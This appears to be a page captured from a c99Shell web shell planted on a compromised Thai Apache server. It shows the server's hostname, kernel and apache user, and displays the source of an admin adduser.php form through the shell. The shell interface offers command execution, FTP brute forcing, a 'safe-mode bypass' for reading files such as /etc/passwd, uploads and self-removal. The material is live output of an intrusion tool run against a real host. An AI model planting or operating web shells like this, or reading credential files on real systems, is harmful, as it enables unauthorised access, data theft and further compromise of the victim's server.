!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/admin/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     adduser.php (6.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user"))
 {

include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
 
ConnectDB();

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style1 {font-size: 14px}
-->
</style>
<table width="841" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="841"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_admin.php" >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="adminmenu.php">ข้อมูลผู้ใช้งานระบบ</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />เพิ่มข้อมูลผู้ใช้ระบบ</font></legend>
            <form id="form1" name="form1" method="post" action="InsertUser.php">
              <p align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
              <table width="81%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
                <tr bgcolor="#C7DED0">
                  <td height="25" colspan="3" bgcolor="#eeeeee"><div align="center"></div></td>
                </tr>
                <tr bgcolor="#EEEEEE">
                  <td width="18%" bgcolor="#eeeeee"><div align="center" class="style1"><font face="Tahoma">username</font></div></td>
                  <td width="1%" bgcolor="#eeeeee"><div align="center"><font size="3" face="Tahoma"><font color="#FF0000">*</font></font></div></td>
                  <td width="81%" bgcolor="#eeeeee"><input name="Username" type="text" id="Username" /></td>
                </tr>
                <tr bgcolor="#EEEEEE">
                  <td bgcolor="#eeeeee"><div align="center" class="style1"><font face="Tahoma">password</font></div></td>
                  <td bgcolor="#eeeeee"><div align="center"><font size="3" face="Tahoma"><font color="#FF0000">*</font></font></div></td>
                  <td bgcolor="#eeeeee"><input name="Password" type="text" id="Password" /></td>
                </tr>
                <tr bgcolor="#EEEEEE">
                  <td rowspan="5" bgcolor="#eeeeee"><div align="center" class="style1"><font face="Tahoma">Priority 
                    / ฝ่ายงาน</font></div></td>
                  <td bgcolor="#eeeeee"><div align="center"><font size="3" face="Tahoma"><font color="#FF0000">*</font></font></div></td>
                  <td bgcolor="#eeeeee"><span class="style1">
                  <input type="radio" name="Priority" value="1"  checked />
                    <font face="Tahoma">ผู้ดูแลระบบ</font> <font face="Tahoma">
                    <input type="radio" name="Priority" value="3" />
                      ฝ่ายบริหาร
                      <input type="radio" name="Priority" value="4" />
                      ฝ่ายวิจัยฯ
                      <input type="radio" name="Priority" value="5" />
                      ฝ่ายพัฒนาบุคลากร</font></span></td>
                </tr>
                <tr bgcolor="#EEEEEE">
                  <td bgcolor="#eeeeee"><div align="center"><font size="3" face="Tahoma"><font color="#FF0000">*</font></font></div></td>
                  <td bgcolor="#eeeeee"><span class="style1">
                  <input type="radio" name="Priority" value="9" />
                    <font face="Tahoma">Guest 
                    <input type="radio" name="Priority" value="15" />
                  ระบบงานทันตกรรม 
                  <input type="radio" name="Priority" value="18" />
                  ระบบงานแพทย์แผนไทย                  
                  <input type="radio" name="Priority" value="16" />
                  ระบบงานซ่อมบำรุง                  </font></span></td>
                </tr>
                <tr bgcolor="#EEEEEE">
                  <td bgcolor="#eeeeee"><div align="center"><font size="3" face="Tahoma"><font color="#FF0000">*</font></font></div></td>
                  <td bgcolor="#eeeeee"><span class="style1"><font face="Tahoma">
                    <input type="radio" name="Priority" value="6" />
                    ฝ่ายกิจการนักศึกษา
                    <input type="radio" name="Priority" value="7" />
                    ฝ่ายประกันคุณภาพการศึกษา
                    <input type="radio" name="Priority" value="14" />
                    งานการเงินและบุคลากร </font></span></td>
                </tr>
                <tr bgcolor="#EEEEEE">
                  <td bgcolor="#eeeeee"><div align="center"><font size="3" face="Tahoma"><font color="#FF0000">*</font></font></div></td>
                  <td bgcolor="#eeeeee"><span class="style1"><font face="Tahoma">
                    <input type="radio" name="Priority" value="10" />
ผู้บริหาร/ผู้อำนวยการ
<input type="radio" name="Priority" value="11" />
ประชาสัมพันธ์
<input type="radio" name="Priority" value="12" />
แผนงานและพัสดุ
<input type="radio" name="Priority" value="13" />
งานสารบรรณ </font></span></td>
                </tr>
                
                <tr bgcolor="#EEEEEE">
                  <td bgcolor="#eeeeee"><div align="center"><font size="3" face="Tahoma"><font color="#FF0000">*</font></font></div></td>
                  <td bgcolor="#eeeeee"><span class="style1"><font face="Tahoma">
                    <input type="radio" name="Priority" value="17" />
                    ระบบควบคุมการเงินงบประมาณ </font></span></td>
                </tr>
                <tr bgcolor="#C7DED0">
                  <td colspan="3" bgcolor="#eeeeee"><div align="center">
                      <input type="submit" name="Submit3" value="   Add   " />
                    &nbsp;
                    <input type="submit" name="Submit22" value=" Reset " />
                  </div></td>
                </tr>
              </table>
            </form>
          </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิก<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
    echo
"<body bgcolor=\"#CCCCCC\">";
     echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../logout.php\" target=\"mainFrame\">\n";
     echo
"<center>";
      echo
"<br><br><br><b><font face=\"Tahoma\" size=\"4\" color=\"#FF0000\">Please Login</font> </b><br>";
      echo
"<br><br><font face=\"Tahoma\" size=\"10\" color=\"#000000\"> ERROR 404 PERMISION DENY</font><br>";
      echo
"<br><font face=\"Tahoma\" size=\"4\" color=\"#000000\"> คุณไม่มีสิทธ์ใช้งาน</font>";
      echo
"</center>";
      echo
"</body>";

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0092 ]--